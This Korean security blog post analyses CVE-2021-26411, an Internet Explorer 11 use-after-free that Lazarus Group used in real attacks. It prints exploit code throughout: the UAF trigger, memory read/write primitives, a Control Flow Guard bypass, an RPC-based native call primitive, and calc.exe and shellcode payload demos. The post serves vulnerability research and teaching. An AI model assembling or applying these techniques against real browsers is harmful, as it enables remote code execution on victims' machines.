블로그로 돌아가기
Research

CVE-2021-26411: Internet Explorer JavaScript 엔진 Use-After-Free RCE

Lazarus Group이 실제 공격에 활용한 Internet Explorer JavaScript 엔진의 CVE-2021-26411 UAF 취약점 분석

··6분 읽기
CVEInternet ExplorerUAFJavaScriptRCEbrowser-exploitationLazarus

테스트 버전: Windows 10 1809 17763.1

개요

CVE-2021-26411은 Internet Explorer 11에서 파싱과 렌더링을 담당하는 mshtml.dll 라이브러리에서 발견된 Use-After-Free 취약점이다. Microsoft는 북한 APT인 Lazarus Group이 보안 연구자를 겨냥한 표적 공격에서 이 취약점을 실제로 악용한 사실이 확인된 이후 상세 정보를 공개했다.

이 취약점은 IE의 JavaScript 엔진에 존재하며, 공격자가 악성 HTML 페이지를 제작하여 원격 코드 실행을 달성할 수 있게 한다. IE 11 사용자가 해당 페이지를 방문하면 이중 해제(double-free) 조건을 통해 메모리 오염이 발생하고, 최종적으로 임의 코드 실행이 가능해진다.


취약점 분석

이 버그는 DOM 조작과 JavaScript 가비지 컬렉션의 조합으로 트리거된다. 익스플로잇의 핵심은 다음과 같다:

  1. valueOf 콜백을 통한 타입 혼동 — 익스플로잇은 DOM 속성의 nodeValue를 커스텀 valueOf 함수를 가진 객체로 덮어쓴다. setAttribute가 타입 강제 변환을 트리거할 때 이 콜백이 동작 중간에 실행된다.

  2. clearAttributes()를 통한 UAFvalueOf 콜백 내부에서 ele.clearAttributes()를 호출하면, 엔진이 여전히 참조하고 있는 속성 노드가 해제된다. 이로 인해 댕글링 포인터(dangling pointer)가 발생한다.

  3. 힙 스프레이 + 누출 — 해제된 메모리를 공격자가 제어하는 데이터(alloc1() / alloc2())로 재점유하여 힙 주소 정보 누출을 가능하게 한다.

트리거 시퀀스:

att.nodeValue = {
    valueOf: function() {
        hd1.nodeValue = (new alloc1()).nodeValue
        // 속성이 여전히 사용 중인 상태에서 clearAttributes() 호출
        // — 참조가 남아있는 채로 백킹 메모리를 해제
        ele.clearAttributes()
        hd2 = hd1.cloneNode()
        ele.setAttribute('attribute', 1337)
    }
}
ele.setAttributeNode(att)
ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2))
// valueOf 콜백 트리거 → UAF
ele.removeAttributeNode(att)

익스플로잇 프리미티브

메모리 레이아웃 헬퍼

익스플로잇은 메모리를 제어된 방식으로 읽고 쓰기 위한 헬퍼 구조를 구성한다. 모든 메모리 접근은 정교하게 조작된 가짜 ArrayBuffer에 고정된 DataView(god)를 통해 이루어진다.

function read(addr, size) {
    switch (size) {
        case 8:  return god.getUint8(addr)
        case 16: return god.getUint16(addr, true)
        case 32: return god.getUint32(addr, true)
    }
}
 
function write(addr, value, size) {
    switch (size) {
        case 8:  return god.setUint8(addr, value)
        case 16: return god.setUint16(addr, value, true)
        case 32: return god.setUint32(addr, value, true)
    }
}

Address-of 프리미티브

타입 배열에 객체를 저장하고 원시 값을 읽어 돌아옴으로써, 임의의 JavaScript 객체의 힙 포인터를 누출한다:

function addrOf(obj) {
    arr[0] = obj
    return read(pArr, 32)
}

모듈 베이스 탐색

익스플로잇은 알려진 포인터(JS 엔진 객체 vtable에서 획득)로부터 역방향으로 스캔하여 로드된 DLL 베이스를 찾고, MZ/PE 시그니처를 확인한다:

function getBase(addr) {
    var addr = addr & 0xffff0000
    while (true) {
        if (isMZ(addr) && isPE(addr)) break
        addr -= 0x10000
    }
    return addr
}
 
function isMZ(addr) { return read(addr, 16) == 0x5a4d }

내보내기 주소 테이블(EAT) 순회

모듈 베이스를 알게 되면, 익스플로잇은 PE 내보내기 디렉터리를 파싱하여 이름으로 함수 주소를 찾는다:

function getProcAddr(addr, name) {
    var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32)
    var non = read(eat + 0x18, 32)
    var aof = addr + read(eat + 0x1c, 32)
    var aon = addr + read(eat + 0x20, 32)
    var aono = addr + read(eat + 0x24, 32)
    for (var i = 0; i < non; ++i) {
        var offset = read(aon + i * 4, 32)
        if (strcmp(addr + offset, name)) break
    }
    var offset = read(aono + i * 2, 16)
    return addr + read(aof + offset * 4, 32)
}

CFG 우회

Internet Explorer의 RPC 런타임(rpcrt4.dll)은 Control Flow Guard(CFG)로 보호된다. 익스플로잇은 모듈의 로드 구성 디렉터리에 있는 __guard_check_icall_fptr 포인터를 덮어써서 rpcrt4의 CFG를 비활성화한다.

핵심 아이디어: rpcrt4!__guard_check_icall_fptr는 보통 ntdll!LdrpValidateUserCallTarget을 가리킨다. 이를 ntdll!KiFastSystemCallRet(단순 반환 스텁)으로 교체하면, rpcrt4를 통한 간접 호출이 CFG 검증을 완전히 우회한다.

function killCfg(addr) {
    var cfgobj = new CFGObject(addr)
    if (!cfgobj.getCFGValue()) return
    var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
    var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
    var tmpBuffer = createArrayBuffer(4)
    // 메모리 보호를 PAGE_EXECUTE_READWRITE로 변경
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])
    // LdrpValidateUserCallTarget을 KiFastSystemCallRet으로 교체
    // → rpcrt4에 대한 CFG 검사 비활성화
    write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
    // 원래 메모리 보호 복구
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
    map.delete(tmpBuffer)
}

RPC 호출 프리미티브

익스플로잇은 IE의 내부 RPC 기계(rpcrt4!NdrServerCall2)를 남용하여 제어된 인수로 임의의 함수를 호출한다. 익스플로잇은 힙 메모리에 가짜 RPC_MESSAGE, _MIDL_SERVER_INFO_, PRPC_CLIENT_INTERFACE 구조체를 설정한 후, 조작된 속성 객체의 normalize()를 호출하여 디스패치를 실행한다.

function call2(func, args) {
    readyRpcCall(func)         // 함수 포인터를 디스패치 테이블에 기록
    var buffer = setArgs(args) // 인수를 RPC 버퍼에 패킹
    call(msg)                  // normalize()를 통해 NdrServerCall2 트리거
    map.delete(buffer)
    return callRpcFreeBuffer() // 반환값 추출
}

call() 함수는 가짜 객체를 normalize vtable 슬롯에 배치하고 try/catch 내부에서 xyz.normalize()를 호출하며, 예상된 예외를 처리하여 복구한다.


페이로드 실행

WinExec — 계산기 PoC

CFG가 비활성화되고 호출 프리미티브가 확보되면, 임의의 Win32 API를 실행하는 것은 간단하다:

var kernel32 = call2(LoadLibraryExA, [newStr('kernel32.dll', 0, 1)])
var WinExec = getProcAddr(kernel32, 'WinExec')
call2(WinExec, [newStr('calc.exe'), 5])

테스트 결과 힙 상태가 저하되기 전까지 최대 약 5회의 연속적인 WinExec 호출이 안정적으로 동작하는 것을 확인했다.

셸코드 실행

익스플로잇은 msi.dll에서 확보한 기존 RWX 영역에 원시 셸코드 스텁을 주입하는 방법도 시연한다:

var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3])
// mov eax, 0x1337 ; ret
var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
var tmpBuffer = createArrayBuffer(4)
call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
writeData(msi, shellcode)
call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
var result = call2(msi, [])
alert(result.toString(16)) // 0x1337 팝업

셸코드 경로는 개념 증명 수준이며, 이 프리미티브를 통한 실전 셸코드 전달은 추가 개발이 필요하다(실행 가능 페이지를 위한 커스텀 할당자 또는 스테이지드 로더).


전체 PoC 구조

완전한 익스플로잇은 IE 11을 대상으로 하는 단일 HTML 파일이다:

<!-- IE Double Free 1Day PoC -->
<!doctype html>
<html lang="zh-cmn-Hans">
<head>
<meta http-equiv="Cache-Control" content="no-cache">
</head>
<body>
<script language="javascript">
 
String.prototype.repeat = function (size) { return new Array(size + 1).join(this) }
 
// ... [헬퍼 함수: alloc1, alloc2, dump, read, write, addrOf 등]
// ... [RPC 구조체: cbase, cattr, PRPC_CLIENT_INTERFACE, _MIDL_SERVER_INFO_ 등]
// ... [트리거: ele.removeAttributeNode(att) → valueOf → clearAttributes → UAF]
// ... [프리미티브 설정: god DataView, pArr, pAbf]
// ... [모듈 탐색: jscript9, rpcrt4, msvcrt, ntdll, kernelbase]
// ... [CFG 우회: killCfg(rpcrt4)]
// ... [페이로드: WinExec('calc.exe') 또는 shellcode]
 
</script>
</body>
</html>

핵심 정리

  • 이 취약점은 DOM 동작 중간에 실행되는 JavaScript valueOf 콜백이 엔진이 여전히 참조하고 있는 노드를 해제하면서 발생하는 전형적인 UAF다.
  • 익스플로잇은 힙 스프레이된 메모리 위에 가짜 ArrayBuffer/DataView를 구성하여 완전한 읽기/쓰기 프리미티브를 달성한다.
  • CFG 우회rpcrt4의 로드 구성에서 __guard_check_icall_fptr 포인터를 찾아 덮어쓰는 방식으로 이루어진다. 우회 자체에는 메모리 권한 위반이 필요하지 않다.
  • RPC 호출 프리미티브는 IE의 COM/RPC 인프라에 특화된 창의적인 기법으로, VirtualAlloc 없이도 제어된 네이티브 함수 호출이 가능하다.

참고 자료